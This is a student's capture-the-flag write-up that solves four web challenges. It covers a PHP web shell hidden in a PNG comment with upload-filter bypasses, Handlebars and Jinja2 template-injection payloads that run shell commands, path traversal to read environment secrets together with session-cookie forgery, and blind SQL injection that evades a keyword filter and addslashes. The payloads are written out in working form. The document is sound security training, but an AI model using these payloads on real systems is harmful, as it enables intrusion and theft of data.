R09921A10 鄭翔予

CTF Account: stanleymusic

1. Imgura
   - Challenge URL
     - https://imgura.chal.h4ck3r.quest/
   - Solution
     - The website itself is useless, use "DotGit" to leak resources and download the .git configuration
     - "git status" and find out there are some deleted files. There are two ways to know the contents of deleted files
       - "git diff"
       - "git log" -> "git checkout [First Commit ID]"
     - By viewing the difference, we know that the real website URL is https://imgura.chal.h4ck3r.quest/dev_test_page/
     - All the upload rules are written in upload.php, by bypassing these rules, we can upload malicious PHP file and use it as a web shell
       - File extension: png, jpeg, jpg
         - The validation only checks the string after the first '.' and before the second '.'
         - Filename: solve.png.php
         - The server can still treat this as a PHP file and execute it
       - File size: ≤ 256000
         - Create an empty and small enough png by pbrush
       - File type: image/png, image/jpeg
         - Inject the shellcode into png's Comment
         - The result will still be a valid png file type
       - File width/height: ≤ 512
         - Create an empty and small enough png by pbrush
       - File content blacklist: "<?php"
         - "<? ?>", "<% %>", " <script language="php">"
           - Not work
         - "<?= ?>"
           - Work
     - Use "exiftool" to inject shellcode into png file
       - "exiftool -Comment="<?= <system($_GET[cmd]); ?>" solve.png.php
     - Now we can type any command and get the flag
       - https://imgura.chal.h4ck3r.quest/dev_test_page/images/575023

            05_solve.png.php?cmd=cat%20/this_is_flaggggg

- Others
    - Exploit LFI
        - https://imgura.chal.h4ck3r.quest/dev_test_page/?page=php://filter/convert.base64-encode/resource=upload
- Flag
    - FLAG{ImgurAAAAAA}
- Reference
    - https://github.com/w181496/Web-CTF-Cheatsheet#php-webshell

2. Double SSTI
- Challenge URL
    - http://h4ck3r.quest:10005/
- Solution
    - There's a comment hinting where to find the source code
        - http://h4ck3r.quest:10005/source
    - The source code said it's using handlebars template
    - Need to know the value of "secret"
        - The first thought is to inject "{{secret}}" as "name"'s value, but the word "secret" is in the black list
        - The second thought is to use "replace" or "concat" to create the "secret" string indirectly, but these aren't built-in functions
        - The third thought is to iterate through all objects in "this", this includes "name" and "secret"
            - {{%23each%20this}}%20{{this}}%20{{/each}}
            - '#' cannot be interpreted successfully, use percentage encoding to bypass (%23)
            - secret = 77777me0w_me0w_s3cr3t77777
    - Then we can get to the second stage URL
        - http://h4ck3r.quest:10005/2nd_stage_77777me0w_me0w_s3cr3t77777
    - There's no source code but by injecting "{{7*'7'}}" and getting result="7777777", by experience, it's using Flask/Jinja2 template
    - Moreover, there's also a blacklist. I found several special characters are forbidden during testing
        - .
        - [
        -]
    - There are ways to bypass these features

            - .__class__ → |attr('__class__')
            - [132] → |attr('__getitem__')(132)
        - By utilizing these techniques we can construct a payload that doesn't include any '.', '[', and ']', and then read the flag
            - {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen')('cat /y0*')|attr('read')()}}
            - '\x5f' is used for replacing '_'
    - Flag
        - FLAG{Sssssstiiiiiil}
    - Reference
        - https://blog.bi0s.in/2020/06/10/Web/Defenit20-Babyjs/
        - https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f

3. DVD Screensaver
    - Thanks to R10922056 for discussion about that path traversal might not succeed by typing URL in the browser and should read carefully about golang http manual
    - Changle URL
        - http://dvd.chal.h4ck3r.quest:10001/
    - Solution
        - According to the hint, the first step is to find SECRET_KEY by path traversal. After reviewing the source code, there's an obvious vulnerability in os.ReadFile function
            - My first thought is to type the payload directly at URL (/static/[PATH-TRAVERSAL]) but lead to nothing
            - After discussion and some searching, I found out that the CONNECT method is not correctly handled by http.HandleFunc function and can be leveraged to path traversal
        - SECRET_KEY is saved as an environment variable, and usually, it's stored at "/proc/self/environ" in UNIX-like systems. Now, we can use curl to change the method and retrieve the environment files by path traversal
            - curl -v -X CONNECT --path-as-is http://dvd.chal.h4ck3r.quest:10001/static/../../proc/self/environ -o environ.txt
            - The secret key is d2908c1de1cd896d90f09df7df67e1d4

        - Since the server is determining the client's character by analyzing values stored in the cookie, we need to forge a gorilla/sessions cookie
            - It can be done with the tool "secure-cookie-faker", which can be found on Github.
            - Login as admin
                - secure-cookie-faker.exe enc -k "d2908c1de1cd896d90f09df7df67e1d4" -n "session" -o "{username: admin}"
                - However, it shows "FL4GGG{Wow you found me but this is not flag}", which is clearly not the flag
        - According to the last hint, the flag starts with "FLAG{". Moreover, there's a SQL injection vulnerability in the login SQL query and the server only verifies the existence of the input query without checking the password. Now we can bypass by specifying that the value of the flag should start with "FLAG{"
            - secure-cookie-faker.exe enc -k "d2908c1de1cd896d90f09df7df67e1d4" -n "session" -o "{username: test' or substr(flag from 1 for 5)='FLAG{'#}"
            - Comma will be viewed as separators in the cookie, so instead of using substr(flag,1,5), use substr(flag from 1 for 5)
    - Flag
        - FLAG{WOW_I_am_the_real_flag____MEOWWWW}
    - Reference
        - https://ilya.app/blog/servemux-and-path-traversal
        - https://www.exploit-db.com/papers/12886
        - https://www.796t.com/article.php?id=7622
        - https://github.com/EddieIvan01/secure-cookie-faker

4. Log me in: FINAL
    - Thanks to R10922056 for discussion about that the '_' will be viewed as a wildcard in the "LIKE" statement, and thus need to use "_" instead
    - Challenge URL
        - http://h4ck3r.quest:10006/
    - Get the debug page by sending a POST request to http://h4ck3r.quest:10006/login without giving any parameters, then the server will respond with 500 INTERNAL ERROR and return the debug page which contains almost all the source code
    - This is a blind SQL injection challenge, it'll return "Welcome!" If the query is correct, and if the query doesn't exist, it'll return "Incorrect username or

password."

- There are two functions used for defending SQL injection "sqli_waf" and "addslashes"
  - sqli_waf
    - replace some keywords(union/select/where/and/or/' '/=) with ''
    - The verification is case-insensitive, which means upper case characters won't bypass the WAF
    - Solution
      - The input is only checked once which means the payload can be something like "uniunionon"
      - Simpler, utilize the WAF on checking whitespace, add whitespace between all characters, "u n i o n"
      - Use "/**/" to replace whitespace, e.g., "u n i o n/**/s e l e c t"
      - Use 'LIKE' to replace '='
      - Use conditions like '2>1' to represent TRUE and '2<1' to represent FALSE
      - Use hexadecimal value to represent strings
        - admin → 0x61646d696e
  - addslashes
    - The character ' and " will be altered to \' and \" respectively
    - Solution
      - My first thought is to use other encodings, including %u0027, %uff07, etc. Unfortunately, this doesn't work
      - My second thought is to use wide byte injection "%df%27", which still doesn't work
      - My third thought is to escape the single quote with a slash, that is guest='[ARBITRARY-VALUE]\' and password='/**/o r/**/2>1#', and thus the query becomes
        - SELECT * FROM users WHERE username='[ARBITRARY-VALUE]\' and password=' or 2>1#
        - The value of username is "[ARBITRARY-VALUE]\' and password="
        - No more variable password
- Guess there's a username='admin' and verify it with password="/**/O R/**/username/**/LIKE/**/0x61646d696e#"
  - Brute force the length of the password of the admin
    - /**/O R/**/username/**/LIKE/**/0x61646d696e/**/A

ND/**/LENGTH(p a s s w o r d)/**/LIKE/**/[LENGTH]#
        - Update the value of [LENGTH], and when length=25, the server returns "Welcome!"
    - Brute force the value of the password of the admin with length 25
        - /**/O R/**/username/**/LIKE/**/0x61646d696e/**/A ND/**/SUBSTR(p a s s w o r d,[INDEX],1)/**/LIKE/**/[HEX-VALUE]#
        - Update the [HEX-VALUE] and [INDEX] to find out each character
        - The password is "flag(IS_IN_ANOTHER_TABLE)"
- According to the password, the flag is in another table. Thus we need to figure out all the table's names, the corresponding columns name, and the value stored in the column, which should be the real flag
    - Brute force table
        - Pseudo payload: union select table_name,NULL,NULL from information_schema.tables where substr(table_name,1,[LENGTH]) like [HEX-VALUE]#
        - Similar to previous steps, but in this case, there are multiple correct answers, so we need to keep recording all the possible values
        - When the length is stretched to 3 there's an odd-looking name that starts with "h3y", so I focused on brute-forcing with values starts with "h3y" and latter get the full table name
            - h3y_here_15_the_flag_y0u_w4nt,meow,flag
    - Brute force column
        - Pseudo payload: union select column_name,NULL,NULL from information_schema.columns where table_name like 0x6833795f686572655f31355f7468655f666c61675f7930755f77346e742c6d656f772c666c6167 and substr(column_name,1,[LENGTH]) like HEX-VALUE#
        - i_4m_th3_fl4g
    - Brute force flag
        - Pseudo payload: union select i_4m_th3_fl4g,NULL,NULL from `h3y_here_15_the_flag_y0u_w4nt,meow,flag` where substr(i_4m_th3_fl4g,1,[LENGTH]) LIKE [HEX-VALUE]#
        - To select from table that has special character(',') in name, the table name need to be closed by '`', that is, `h3y_here_15_the_flag_y0u_w4nt,meow,flag`
        - Pseudo payload for determining upper or lower case:

ascii(substr(flag,1,1)) < 96

- If true, then upper case. Else, lower case

- Flag
  - FLAG{!!!b00lean_bas3d_OR_err0r_based_sqli???}
- Reference
  - https://www.guru99.com/wildcards.html
  - https://stackoverflow.com/questions/10443050/special-characters-in-mysql-table-name